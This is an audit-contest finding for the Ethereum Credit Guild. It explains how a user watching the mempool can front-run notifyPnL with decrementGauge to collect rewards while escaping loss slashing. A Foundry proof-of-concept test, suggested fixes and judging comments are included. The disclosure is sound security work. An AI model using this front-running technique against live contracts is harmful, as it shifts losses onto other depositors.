Platform: Code4rena
Start Date: 11/12/2023
Pot Size: $90,500 USDC
Total HM: 29
Participants: 127
Period: 17 days
Judge: TrungOre
Total Solo HM: 4
Id: 310
League: ETH
Rank: 116/127
Findings: 1
Award: $6.82
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SBSecurity
Also found by: 0x_6a70, 0xanmol, 0xbepresent, 0xfave, Arz, Byteblockers, CaeraDenoir, EV_om, EllipticPoint, Infect3d, JCN, Mike_Bello90, SECURITISE, Soul22, almurhasan, c47ch3m4ll, carrotsmuggler, cccz, critical-or-high, ether_sky, evmboi32, grearlake, kaden, rbserver, smiling_heretic, whitehat-boys, zhaojie
6.8173 USDC - $6.82
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L292-L405 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L301-L332
A user can earn rewards from the protocol and at the same time avoid any losses generated by a gauge setting a bot that listens to the mempool for the call to notifyPnL function in the profit manager and front-run this call to withdraw his weight in the gauge.
This is possible because:
Currently, in the system, any user/contract can call incrementGauge function in the Guild Token to enter a Lending Term and earn rewards from the interest generated by the loans from that LendingTerm.
The users can call the incrementGauge function at any time and when they want to get out of the Lending term they can call decrementGauge function to withdraw their weight; when a user withdraws all the weight from a term the losses that this term generate after that are not applied to the user cause he already withdraws his weight, taking into account that the protocol will be deployed on Ethereum and other chains and that there is no mechanism to avoid users front-running the call to notifyPnL or to freeze weights for a period of time, this opens the door for users to avoid assuming losses and getting slashed in terms that generate losses.
Let's imagine the next scenario for one user, but this can be applied by multiple users with big amounts of money:
Due to there is not any protection against this in the protocol, any user can effectively earn rewards and avoid losses by avoiding being slashed when the terms generate bad debt with a vector attack like this one.
Here I added a POC simulating the user entering in terms, claiming rewards and front-running the notify loss call to avoid losses.
Added POC in the ProfitManager.t.sol contract.
function test_UsersCan_AvoidLosses_FrontRunning_notifyPnL() public { // grant roles to test contract vm.startPrank(governor); core.grantRole(CoreRoles.GOVERNOR, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this)); vm.stopPrank(); // setup // 50-50 profit split between GUILD & CREDIT // 150 CREDIT circulating (100 rebasing on test contract, 50 non rebasing on alice) // 550 GUILD, 500 voting in gauges : // - 50 on gauge1 (alice) // - 250 on gauge2 (50 alice, 200 bob) // - 200 on gauge3 (200 bob) credit.mint(alice, 50e18); vm.prank(governor); profitManager.setProfitSharingConfig( 0, // surplusBufferSplit 0.5e18, // creditSplit 0.5e18, // guildSplit 0, // otherSplit address(0) // otherRecipient ); guild.setMaxGauges(3); guild.addGauge(1, gauge1); guild.addGauge(1, gauge2); guild.addGauge(1, gauge3); guild.mint(alice, 150e18); guild.mint(bob, 400e18); vm.startPrank(alice); guild.incrementGauge(gauge1, 50e18); guild.incrementGauge(gauge2, 50e18); vm.stopPrank(); vm.startPrank(bob); guild.incrementGauge(gauge2, 200e18); guild.incrementGauge(gauge3, 200e18); vm.stopPrank(); assertEq(guild.userUnusedWeight(alice), 50e18); // simulate 20 profit on gauge1 // 10 goes to alice (guild voting) // 10 goes to test (rebasing credit) credit.mint(address(profitManager), 20e18); profitManager.notifyPnL(gauge1, 20e18); vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD()); assertEq(profitManager.claimRewards(alice), 10e18); assertEq(profitManager.claimRewards(bob), 0); assertEq(credit.balanceOf(address(this)), 110e18); // Now the gauges generate losses, and alice front-run the call to avoid being slashed. vm.prank(alice); guild.decrementGauge(gauge1, 50e18); //Call to Notify the losses profitManager.notifyPnL(gauge1, -50e18); // Alice Front Run vm.prank(alice); guild.decrementGauge(gauge2, 50e18); //Call to Notify the losses profitManager.notifyPnL(gauge2, -50e18); //Alice has his guild balance and earnings intact assertEq(credit.balanceOf(alice), 50e18 + 10e18); assertEq(guild.userUnusedWeight(alice), 150e18); }
Manual Code Review & Foundry.
A way to solve this could be to implement a freezing time of a few blocks at least for the decrementGauge function, so users who are waiting for the freeze time to end can be slashed if they were voting on the gauge that generated losses on that freeze time.
Another way could be using services like Flashbots in important calls like the notifyPnL function to avoid being front-run by users looking to avoid losses.
Other
#0 - c4-pre-sort
2024-01-03T20:34:40Z
0xSorryNotSorry marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-03T20:34:52Z
0xSorryNotSorry marked the issue as duplicate of #877
#2 - c4-judge
2024-01-25T09:07:15Z
Trumpero marked the issue as not a duplicate
#3 - c4-judge
2024-01-25T09:07:24Z
Trumpero marked the issue as duplicate of #994
#4 - c4-judge
2024-01-25T09:47:59Z
Trumpero marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-01-25T18:16:14Z
Trumpero marked the issue as satisfactory